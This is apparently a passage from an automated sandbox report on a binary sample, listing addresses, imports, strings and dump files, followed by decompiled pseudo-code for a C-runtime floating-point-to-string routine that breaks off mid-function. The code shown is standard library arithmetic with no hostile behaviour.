0x002438b9
0x002438bf
0x002438ca
0x002438ca
0x002438ca
0x00000000
0x002438c1
0x002438c1
0x002438c4
0x00000000
0x00000000
0x002438c6
0x002438cc
0x002438cc
0x002438d8
0x002438dd
0x002438f2
0x002438f8
0x00243907
0x0024390c
0x00243917
0x00243919
0x0024391b
0x0024391b
0x00243928
0x0024392d
0x0024393b
0x00243940
0x00243943
0x00243944
0x00243945
0x0024394a
0x0024394f
0x00243952
0x0024395c
0x0024395c
0x00243961
0x00243964
0x00243967
0x00243979
0x0024397f
0x00243986
0x00243988
0x0024398a
0x0024398a
0x00000000
0x00243969
0x0024396c
0x00243971
0x00243974
0x00243977
0x00243991
0x00243991
0x00243995
0x002439a2
0x002439a2
0x00000000
0x00243995
0x00000000
0x00243977
0x00243967
0x002438bf
0x002437a9
0x002437ab
0x00000000
0x00000000
0x00000000
0x002437ab
0x002437a5
0x002435b6
0x002435b9
0x002435fa
0x00243607
0x0024360c
0x00243611
0x00243613
0x0024364a
0x00243655
0x00243658
0x0024365e
0x00243661
0x00243677
0x0024367c
0x00243683
0x00243691
0x0024369f
0x002436a8
0x002436b4
0x002436bc
0x002436c1
0x002436d0
0x002436da
0x002436dc
0x002436dc
0x002436de
0x002436de
0x002436e4
0x00000000
0x002436e4
0x00243663
0x00243664
0x0024361b
0x0024361e
0x00243620
0x00243621
0x00243633
0x00000000
0x00243633
0x00243615
0x00243616
0x00000000
0x00243616
0x002435bb
0x002435be
0x002435c5
0x002435d2
0x002435de
0x002435e6
0x002435ed
0x002435ed
0x00000000
0x002435be
0x0024351c
0x0024351e
0x00243521
0x00243523
0x00243526
0x00243528
0x00000000
0x00000000
0x0024352a
0x00000000
0x00000000
0x00243530
0x00243536
0x00000000
0x00000000
0x00000000
0x00243536
0x002434cd
0x002434d9
0x002434e0
0x002434e5
0x002434e9
0x00000000
0x002434eb
0x002434f2
0x002434f7
0x00000000
0x002434f7
0x002434e9
0x00243406
0x00243408
0x00000000
0x00243408
0x002432af
0x002432b2
0x002432b4
0x002432ba
0x00000000
0x002432ce
0x002432d6
0x002432df
0x002432ec
0x00000000
0x00000000
0x002432ff
0x0024330e
0x0024330e
0x00243312
0x00243314
0x00243330
0x0024333c
0x00243348
0x00243354
0x002433d0
0x002433d0
0x00000000
0x00243356
0x00243356
0x0024335c
0x00243363
0x00243368
0x0024336d
0x00000000
0x00000000
0x0024336f
0x00243373
0x00243376
0x00243377
0x00243378
0x002433d5
0x002433d7
0x002433e3
0x002433ea
0x00000000
0x002433ea
0x0024337a
0x0024337c
0x0024338d
0x00243394
0x002433bc
0x002433c8
0x002433ce
0x00000000
0x00000000
0x00000000
0x002433ce
0x00000000
0x0024335c
0x00243354
0x00243301
0x00243306
0x0024330c
0x00000000
0x00000000
0x00000000
0x0024330c

APIs

__EH_prolog.LIBCMT ref: 00243276
_memcmp.LIBVCRUNTIME ref: 00243363

Strings

CMT, xrefs: 00243979
h%u, xrefs: 00243616
hc%u, xrefs: 00243664

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: b0d318f7bbbd9ecb30b3ca467717933f81126bc772d91310acc5b86e602ea196
Instruction ID: 873f988921372ac5c80d0816a60d1c937af6f200c710476f062a3dea2bc1f16e
Opcode Fuzzy Hash: b0d318f7bbbd9ecb30b3ca467717933f81126bc772d91310acc5b86e602ea196
Instruction Fuzzy Hash: 7132C2715242859FDF1CDF34C895AEA37A5AF54300F44447EFD8A8B286DB70AA68CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0026CECE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 67%

			E0026CECE(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v32;
				signed int _v36;
				char _v460;
				signed int _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed int _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed int _v1892;
				signed int _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				signed int _v1908;
				signed int _v1912;
				signed int _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				signed int _t743;
				signed int _t753;
				signed int _t754;
				intOrPtr _t763;
				signed int _t764;
				intOrPtr _t767;
				intOrPtr _t770;
				intOrPtr _t772;
				intOrPtr _t773;
				void* _t774;
				signed int _t778;
				signed int _t779;
				signed int _t785;
				signed int _t791;
				intOrPtr _t793;
				void* _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t806;
				signed int _t811;
				signed int _t812;
				signed int _t813;
				signed int _t816;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t828;
				signed int _t829;
				signed int _t835;
				signed int _t836;
				signed int _t839;
				signed int _t844;
				signed int _t852;
				signed int* _t855;
				signed int _t859;
				signed int _t870;
				signed int _t871;
				signed int _t873;
				char* _t874;
				signed int _t877;
				signed int _t881;
				signed int _t882;
				signed int _t887;
				signed int _t889;
				signed int _t894;
				signed int _t903;
				signed int _t906;
				signed int _t908;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t916;
				signed int _t929;
				signed int _t930;
				signed int _t932;
				char* _t933;
				signed int _t936;
				signed int _t940;
				signed int _t941;
				signed int* _t943;
				signed int _t946;
				signed int _t948;
				signed int _t953;
				signed int _t961;
				signed int _t964;
				signed int _t968;
				signed int* _t975;
				intOrPtr _t977;
				void* _t978;
				intOrPtr* _t980;
				signed int* _t984;
				unsigned int _t995;
				signed int _t996;
				void* _t999;
				signed int _t1000;
				void* _t1002;
				signed int _t1003;
				signed int _t1004;
				signed int _t1005;
				signed int _t1015;
				signed int _t1020;
				signed int _t1023;
				unsigned int _t1026;
				signed int _t1027;
				void* _t1030;
				signed int _t1031;
				void* _t1033;
				signed int _t1034;
				signed int _t1035;
				signed int _t1036;
				signed int _t1041;
				signed int* _t1046;
				signed int _t1048;
				signed int _t1058;
				void _t1061;
				signed int _t1064;
				void* _t1067;
				void* _t1074;
				signed int _t1080;
				signed int _t1081;
				signed int _t1084;
				signed int _t1085;
				signed int _t1087;
				signed int _t1088;
				signed int _t1089;
				signed int _t1093;
				signed int _t1097;
				signed int _t1098;
				signed int _t1099;
				signed int _t1101;
				signed int _t1102;
				signed int _t1103;
				signed int _t1104;
				signed int _t1105;
				signed int _t1106;
				signed int _t1108;
				signed int _t1109;
				signed int _t1110;
				signed int _t1111;
				signed int _t1112;
				signed int _t1113;
				unsigned int _t1114;
				void* _t1117;
				intOrPtr _t1119;
				signed int _t1120;
				signed int _t1121;
				signed int _t1122;
				signed int* _t1126;
				void* _t1130;
				void* _t1131;
				signed int _t1132;
				signed int _t1133;
				signed int _t1134;
				signed int _t1137;
				signed int _t1138;
				signed int _t1143;
				void* _t1145;
				signed int _t1146;
				signed int _t1149;
				char _t1154;
				signed int _t1156;
				signed int _t1157;
				signed int _t1158;
				signed int _t1159;
				signed int _t1160;
				signed int _t1161;
				signed int _t1162;
				signed int _t1166;
				signed int _t1167;
				signed int _t1168;
				signed int _t1169;
				signed int _t1170;
				unsigned int _t1173;
				void* _t1177;
				void* _t1178;
				unsigned int _t1179;
				signed int _t1184;
				signed int _t1185;
				signed int _t1187;
				signed int _t1188;
				intOrPtr* _t1190;
				signed int _t1191;
				signed int _t1193;
				signed int _t1194;
				signed int _t1197;
				signed int _t1199;
				signed int _t1200;
				void* _t1201;
				signed int _t1202;
				signed int _t1203;
				signed int _t1204;
				void* _t1207;
				signed int _t1208;
				signed int _t1209;
				signed int _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int* _t1215;
				signed int _t1216;
				signed int _t1217;
				signed int _t1218;
				signed int _t1219;
				intOrPtr* _t1221;
				intOrPtr* _t1222;
				signed int _t1224;
				signed int _t1226;
				signed int _t1229;
				signed int _t1235;
				signed int _t1239;
				signed int _t1240;
				signed int _t1245;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1255;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed int _t1260;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1266;
				signed int _t1267;
				signed int _t1269;
				signed int _t1271;
				signed int _t1273;
				signed int _t1276;
				signed int _t1278;
				signed int* _t1279;
				signed int* _t1282;
				signed int _t1291;

				_t1145 = __edx;
				_t1276 = _t1278;
				_t1279 = _t1278 - 0x964;
				_t743 =  *0x27d668; // 0xdef7aace
				_v8 = _t743 ^ _t1276;
				_t1058 = _a20;
				_push(__esi);
				_push(__edi);
				_t1190 = _a16;
				_v1924 = _t1190;
				_v1920 = _t1058;
				E0026C9F6( &_v1944, __eflags);
				_t1239 = _a8;
				_t748 = 0x2d;
				if((_t1239 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1190 = _t748;
				 *((intOrPtr*)(_t1190 + 8)) = _t1058;
				_t1191 = _a4;
				if((_t1239 & 0x7ff00000) != 0) {
					L5:
					_t753 = E00268FD4( &_a4);
					_pop(_t1073);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1073 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t778 = _t754 - 1;
						__eflags = _t778;
						if(_t778 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t779 = _t778 - 1;
							__eflags = _t779;
							if(_t779 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t779 == 1;
								if(_t779 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1191;
									_a8 = _t1239 & 0x7fffffff;
									_t1291 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1193 = _v1896;
									_v1916 = _a12 + 1;
									_t1080 = _t1193 >> 0x14;
									_t785 = _t1080 & 0x000007ff;
									__eflags = _t785;
									if(_t785 != 0) {
										_t1146 = 0;
										_t785 = 0;
										__eflags = 0;
									} else {
										_t1146 = 1;
									}
									_t1194 = _t1193 & 0x000fffff;
									_t1061 = _v1900 + _t785;
									asm("adc edi, esi");
									__eflags = _t1146;
									_t1081 = _t1080 & 0x000007ff;
									_t1245 = _t1081 - 0x434 + (0 | _t1146 != 0x00000000) + 1;
									_v1872 = _t1245;
									E0026EA40(_t1081, _t1291);
									_push(_t1081);
									_push(_t1081);
									 *_t1279 = _t1291;
									_t791 = E002718A0(E0026EB50(_t1194, _t1245), _t1291);
									_v1904 = _t791;
									__eflags = _t791 - 0x7fffffff;
									if(_t791 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t791 - 0x80000000;
										if(_t791 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1061;
									__eflags = _t1194;
									_v464 = _t1194;
									_t1064 = (0 | _t1194 != 0x00000000) + 1;
									_v472 = _t1064;
									__eflags = _t1245;
									if(_t1245 < 0) {
										__eflags = _t1245 - 0xfffffc02;
										if(_t1245 == 0xfffffc02) {
											L101:
											_t793 =  *((intOrPtr*)(_t1276 + _t1064 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1084 = 0;
												__eflags = 0;
											} else {
												_t1084 = _t793 + 1;
											}
											_t794 = 0x20;
											_t795 = _t794 - _t1084;
											__eflags = _t795 - 1;
											_t796 = _t795 & 0xffffff00 | _t795 - 0x00000001 > 0x00000000;
											__eflags = _t1064 - 0x73;
											_v1865 = _t796;
											_t1085 = _t1084 & 0xffffff00 | _t1064 - 0x00000073 > 0x00000000;
											__eflags = _t1064 - 0x73;
											if(_t1064 != 0x73) {
												L107:
												_t797 = 0;
												__eflags = 0;
											} else {
												__eflags = _t796;
												if(_t796 == 0) {
													goto L107;
												} else {
													_t797 = 1;
												}
											}
											__eflags = _t1085;
											if(_t1085 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E0026B3C1( &_v468, 0x1cc,  &_v1396, 0);
												_t1279 =  &(_t1279[4]);
											} else {
												__eflags = _t797;
												if(_t797 != 0) {
													goto L126;
												} else {
													_t1112 = 0x72;
													__eflags = _t1064 - _t1112;
													if(_t1064 < _t1112) {
														_t1112 = _t1064;
													}
													__eflags = _t1112 - 0xffffffff;
													if(_t1112 != 0xffffffff) {
														_t1263 = _t1112;
														_t1221 =  &_v468 + _t1112 * 4;
														_v1880 = _t1221;
														while(1) {
															__eflags = _t1263 - _t1064;
															if(_t1263 >= _t1064) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1221;
															}
															_t210 = _t1263 - 1; // 0x70
															__eflags = _t210 - _t1064;
															if(_t210 >= _t1064) {
																_t1173 = 0;
																__eflags = 0;
															} else {
																_t1173 =  *(_t1221 - 4);
															}
															_t1221 = _t1221 - 4;
															_t975 = _v1880;
															_t1263 = _t1263 - 1;
															 *_t975 = _t1173 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t975 - 4;
															__eflags = _t1263 - 0xffffffff;
															if(_t1263 == 0xffffffff) {
																break;
															}
															_t1064 = _v472;
														}
														_t1245 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1112;
													} else {
														_t218 = _t1112 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1197 = 1 - _t1245;
											E0025F1A0(_t1197,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1276 + 0xbad63d) = 1 << (_t1197 & 0x0000001f);
											_t806 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1113 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1113;
											__eflags = _t1064 - _t1113;
											if(_t1064 == _t1113) {
												_t1177 = 0;
												__eflags = 0;
												while(1) {
													_t977 =  *((intOrPtr*)(_t1276 + _t1177 - 0x570));
													__eflags = _t977 -  *((intOrPtr*)(_t1276 + _t1177 - 0x1d0));
													if(_t977 !=  *((intOrPtr*)(_t1276 + _t1177 - 0x1d0))) {
														goto L101;
													}
													_t1177 = _t1177 + 4;
													__eflags = _t1177 - 8;
													if(_t1177 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1178 = 0;
															__eflags = 0;
														} else {
															_t1178 = _t977 + 1;
														}
														_t978 = 0x20;
														_t1264 = _t1113;
														__eflags = _t978 - _t1178 - _t1113;
														_t980 =  &_v460;
														_v1880 = _t980;
														_t1222 = _t980;
														_t171 =  &_v1865;
														 *_t171 = _t978 - _t1178 - _t1113 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1264 - _t1064;
															if(_t1264 >= _t1064) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1222;
															}
															_t175 = _t1264 - 1; // 0x0
															__eflags = _t175 - _t1064;
															if(_t175 >= _t1064) {
																_t1179 = 0;
																__eflags = 0;
															} else {
																_t1179 =  *(_t1222 - 4);
															}
															_t1222 = _t1222 - 4;
															_t984 = _v1880;
															_t1264 = _t1264 - 1;
															 *_t984 = _t1179 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t984 - 4;
															__eflags = _t1264 - 0xffffffff;
															if(_t1264 == 0xffffffff) {
																break;
															}
															_t1064 = _v472;
														}
														__eflags = _v1865;
														_t1114 = _t1113 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1113;
														_t1224 = _t1114 >> 5;
														_v1884 = _t1114;
														_t1266 = _t1224 << 2;
														E0025F1A0(_t1224,  &_v1396, 0, _t1266);
														 *(_t1276 + _t1266 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t806 = _t1224 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t806;
										_t1067 = 0x1cc;
										_v936 = _t806;
										__eflags = _t806 << 2;
										E0026B3C1( &_v932, 0x1cc,  &_v1396, _t806 << 2);
										_t1282 =  &(_t1279[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1267 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1267;
										__eflags = _t1064 - _t1267;
										if(_t1064 != _t1267) {
											L53:
											_t995 = _v1872 + 1;
											_t996 = _t995 & 0x0000001f;
											_t1117 = 0x20;
											_v1876 = _t996;
											_t1226 = _t995 >> 5;
											_v1872 = _t1226;
											_v1908 = _t1117 - _t996;
											_t999 = E0025E600(1, _t1117 - _t996, 0);
											_t1119 =  *((intOrPtr*)(_t1276 + _t1064 * 4 - 0x1d4));
											_t1000 = _t999 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t1000;
											_v1912 =  !_t1000;
											if( *_t108 == 0) {
												_t1120 = 0;
												__eflags = 0;
											} else {
												_t1120 = _t1119 + 1;
											}
											_t1002 = 0x20;
											_t1003 = _t1002 - _t1120;
											_t1184 = _t1064 + _t1226;
											__eflags = _v1876 - _t1003;
											_v1892 = _t1184;
											_t1004 = _t1003 & 0xffffff00 | _v1876 - _t1003 > 0x00000000;
											__eflags = _t1184 - 0x73;
											_v1865 = _t1004;
											_t1121 = _t1120 & 0xffffff00 | _t1184 - 0x00000073 > 0x00000000;
											__eflags = _t1184 - 0x73;
											if(_t1184 != 0x73) {
												L59:
												_t1005 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1004;
												if(_t1004 == 0) {
													goto L59;
												} else {
													_t1005 = 1;
												}
											}
											__eflags = _t1121;
											if(_t1121 != 0) {
												L81:
												__eflags = 0;
												_t1067 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E0026B3C1( &_v468, 0x1cc,  &_v1396, 0);
												_t1279 =  &(_t1279[4]);
											} else {
												__eflags = _t1005;
												if(_t1005 != 0) {
													goto L81;
												} else {
													_t1122 = 0x72;
													__eflags = _t1184 - _t1122;
													if(_t1184 >= _t1122) {
														_t1184 = _t1122;
														_v1892 = _t1122;
													}
													_t1015 = _t1184;
													_v1880 = _t1015;
													__eflags = _t1184 - 0xffffffff;
													if(_t1184 != 0xffffffff) {
														_t1185 = _v1872;
														_t1269 = _t1184 - _t1185;
														__eflags = _t1269;
														_t1126 =  &_v468 + _t1269 * 4;
														_v1888 = _t1126;
														while(1) {
															__eflags = _t1015 - _t1185;
															if(_t1015 < _t1185) {
																break;
															}
															__eflags = _t1269 - _t1064;
															if(_t1269 >= _t1064) {
																_t1229 = 0;
																__eflags = 0;
															} else {
																_t1229 =  *_t1126;
															}
															__eflags = _t1269 - 1 - _t1064;
															if(_t1269 - 1 >= _t1064) {
																_t1020 = 0;
																__eflags = 0;
															} else {
																_t1020 =  *(_t1126 - 4);
															}
															_t1023 = _v1880;
															_t1126 = _v1888 - 4;
															_v1888 = _t1126;
															 *(_t1276 + _t1023 * 4 - 0x1d0) = (_t1229 & _v1884) << _v1876 | (_t1020 & _v1912) >> _v1908;
															_t1015 = _t1023 - 1;
															_t1269 = _t1269 - 1;
															_v1880 = _t1015;
															__eflags = _t1015 - 0xffffffff;
															if(_t1015 != 0xffffffff) {
																_t1064 = _v472;
																continue;
															}
															break;
														}
														_t1184 = _v1892;
														_t1226 = _v1872;
														_t1267 = 2;
													}
													__eflags = _t1226;
													if(_t1226 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1226 << 2);
														_t1279 =  &(_t1279[3]);
													}
													__eflags = _v1865;
													_t1067 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1184;
													} else {
														_v472 = _t1184 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1267;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1130 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1276 + _t1130 - 0x570)) -  *((intOrPtr*)(_t1276 + _t1130 - 0x1d0));
												if( *((intOrPtr*)(_t1276 + _t1130 - 0x570)) !=  *((intOrPtr*)(_t1276 + _t1130 - 0x1d0))) {
													goto L53;
												}
												_t1130 = _t1130 + 4;
												__eflags = _t1130 - 8;
												if(_t1130 != 8) {
													continue;
												} else {
													_t1026 = _v1872 + 2;
													_t1027 = _t1026 & 0x0000001f;
													_t1131 = 0x20;
													_t1132 = _t1131 - _t1027;
													_v1888 = _t1027;
													_t1271 = _t1026 >> 5;
													_v1876 = _t1271;
													_v1908 = _t1132;
													_t1030 = E0025E600(1, _t1132, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1031 = _t1030 - 1;
													__eflags = _t1031;
													asm("bsr ecx, edi");
													_v1884 = _t1031;
													_v1912 =  !_t1031;
													if(_t1031 == 0) {
														_t1133 = 0;
														__eflags = 0;
													} else {
														_t1133 = _t1132 + 1;
													}
													_t1033 = 0x20;
													_t1034 = _t1033 - _t1133;
													_t1187 = _t1271 + 2;
													__eflags = _v1888 - _t1034;
													_v1880 = _t1187;
													_t1035 = _t1034 & 0xffffff00 | _v1888 - _t1034 > 0x00000000;
													__eflags = _t1187 - 0x73;
													_v1865 = _t1035;
													_t1134 = _t1133 & 0xffffff00 | _t1187 - 0x00000073 > 0x00000000;
													__eflags = _t1187 - 0x73;
													if(_t1187 != 0x73) {
														L28:
														_t1036 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1035;
														if(_t1035 == 0) {
															goto L28;
														} else {
															_t1036 = 1;
														}
													}
													__eflags = _t1134;
													if(_t1134 != 0) {
														L50:
														__eflags = 0;
														_t1067 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E0026B3C1( &_v468, 0x1cc,  &_v1396, 0);
														_t1279 =  &(_t1279[4]);
													} else {
														__eflags = _t1036;
														if(_t1036 != 0) {
															goto L50;
														} else {
															_t1137 = 0x72;
															__eflags = _t1187 - _t1137;
															if(_t1187 >= _t1137) {
																_t1187 = _t1137;
																_v1880 = _t1137;
															}
															_t1138 = _t1187;
															_v1892 = _t1138;
															__eflags = _t1187 - 0xffffffff;
															if(_t1187 != 0xffffffff) {
																_t1188 = _v1876;
																_t1273 = _t1187 - _t1188;
																__eflags = _t1273;
																_t1046 =  &_v468 + _t1273 * 4;
																_v1872 = _t1046;
																while(1) {
																	__eflags = _t1138 - _t1188;
																	if(_t1138 < _t1188) {
																		break;
																	}
																	__eflags = _t1273 - _t1064;
																	if(_t1273 >= _t1064) {
																		_t1235 = 0;
																		__eflags = 0;
																	} else {
																		_t1235 =  *_t1046;
																	}
																	__eflags = _t1273 - 1 - _t1064;
																	if(_t1273 - 1 >= _t1064) {
																		_t1048 = 0;
																		__eflags = 0;
																	} else {
																		_t1048 =  *(_v1872 - 4);
																	}
																	_t1143 = _v1892;
																	 *(_t1276 + _t1143 * 4 - 0x1d0) = (_t1048 & _v1912) >> _v1908 | (_t1235 & _v1884) << _v1888;
																	_t1138 = _t1143 - 1;
																	_t1273 = _t1273 - 1;
																	_t1046 = _v1872 - 4;
																	_v1892 = _t1138;
																	_v1872 = _t1046;
																	__eflags = _t1138 - 0xffffffff;
																	if(_t1138 != 0xffffffff) {
																		_t1064 = _v472;
																		continue;
																	}
																	break;
																}
																_t1187 = _v1880;
																_t1271 = _v1876;
															}
															__eflags = _t1271;
															if(_t1271 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1271 << 2);
																_t1279 =  &(_t1279[3]);
															}
															__eflags = _v1865;
															_t1067 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1187;
															} else {
																_v472 = _t1187 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1041 = 4;
													__eflags = 1;
													_v1396 = _t1041;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1041);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1067);
										_push( &_v932);
										E0026B3C1();
										_t1282 =  &(_t1279[4]);
									}
									_t811 = _v1904;
									_t1087 = 0xa;
									_v1912 = _t1087;
									__eflags = _t811;
									if(_t811 < 0) {
										_t812 =  ~_t811;
										_t813 = _t812 / _t1087;
										_v1880 = _t813;
										_t1088 = _t812 % _t1087;
										_v1884 = _t1088;
										__eflags = _t813;
										if(_t813 == 0) {
											L249:
											__eflags = _t1088;
											if(_t1088 != 0) {
												_t852 =  *(0x276d6c + _t1088 * 4);
												_v1896 = _t852;
												__eflags = _t852;
												if(_t852 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t852 - 1;
													if(_t852 != 1) {
														_t1099 = _v472;
														__eflags = _t1099;
														if(_t1099 != 0) {
															_t1204 = 0;
															_t1253 = 0;
															__eflags = 0;
															do {
																_t1158 = _t852 *  *(_t1276 + _t1253 * 4 - 0x1d0) >> 0x20;
																 *(_t1276 + _t1253 * 4 - 0x1d0) = _t852 *  *(_t1276 + _t1253 * 4 - 0x1d0) + _t1204;
																_t852 = _v1896;
																asm("adc edx, 0x0");
																_t1253 = _t1253 + 1;
																_t1204 = _t1158;
																__eflags = _t1253 - _t1099;
															} while (_t1253 != _t1099);
															__eflags = _t1204;
															if(_t1204 != 0) {
																_t859 = _v472;
																__eflags = _t859 - 0x73;
																if(_t859 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1276 + _t859 * 4 - 0x1d0) = _t1204;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t813 - 0x26;
												if(_t813 > 0x26) {
													_t813 = 0x26;
												}
												_t1100 =  *(0x276cd6 + _t813 * 4) & 0x000000ff;
												_v1872 = _t813;
												_v1400 = ( *(0x276cd6 + _t813 * 4) & 0x000000ff) + ( *(0x276cd7 + _t813 * 4) & 0x000000ff);
												E0025F1A0(_t1100 << 2,  &_v1396, 0, _t1100 << 2);
												_t870 = E0025F300( &(( &_v1396)[_t1100]), 0x2763d0 + ( *(0x276cd4 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x276cd7 + _t813 * 4) & 0x000000ff) << 2);
												_t1101 = _v1400;
												_t1282 =  &(_t1282[6]);
												_v1892 = _t1101;
												__eflags = _t1101 - 1;
												if(_t1101 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1101 - _v472;
														_t1207 =  &_v1396;
														_t871 = _t870 & 0xffffff00 | _t1101 - _v472 > 0x00000000;
														__eflags = _t871;
														if(_t871 != 0) {
															_t1159 =  &_v468;
														} else {
															_t1207 =  &_v468;
															_t1159 =  &_v1396;
														}
														_v1908 = _t1159;
														__eflags = _t871;
														if(_t871 == 0) {
															_t1101 = _v472;
														}
														_v1876 = _t1101;
														__eflags = _t871;
														if(_t871 != 0) {
															_v1892 = _v472;
														}
														_t1160 = 0;
														_t1255 = 0;
														_v1864 = 0;
														__eflags = _t1101;
														if(_t1101 == 0) {
															L243:
															_v472 = _t1160;
															_t873 = _t1160 << 2;
															__eflags = _t873;
															_push(_t873);
															_t874 =  &_v1860;
															goto L244;
														} else {
															_t1208 = _t1207 -  &_v1860;
															__eflags = _t1208;
															_v1928 = _t1208;
															do {
																_t881 =  *(_t1276 + _t1208 + _t1255 * 4 - 0x740);
																_v1896 = _t881;
																__eflags = _t881;
																if(_t881 != 0) {
																	_t882 = 0;
																	_t1209 = 0;
																	_t1102 = _t1255;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1102 - 0x73;
																		if(_t1102 == 0x73) {
																			goto L258;
																		} else {
																			_t1208 = _v1928;
																			_t1101 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1102 - 0x73;
																			if(_t1102 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1102 - _t1160;
																			if(_t1102 == _t1160) {
																				 *(_t1276 + _t1102 * 4 - 0x740) =  *(_t1276 + _t1102 * 4 - 0x740) & 0x00000000;
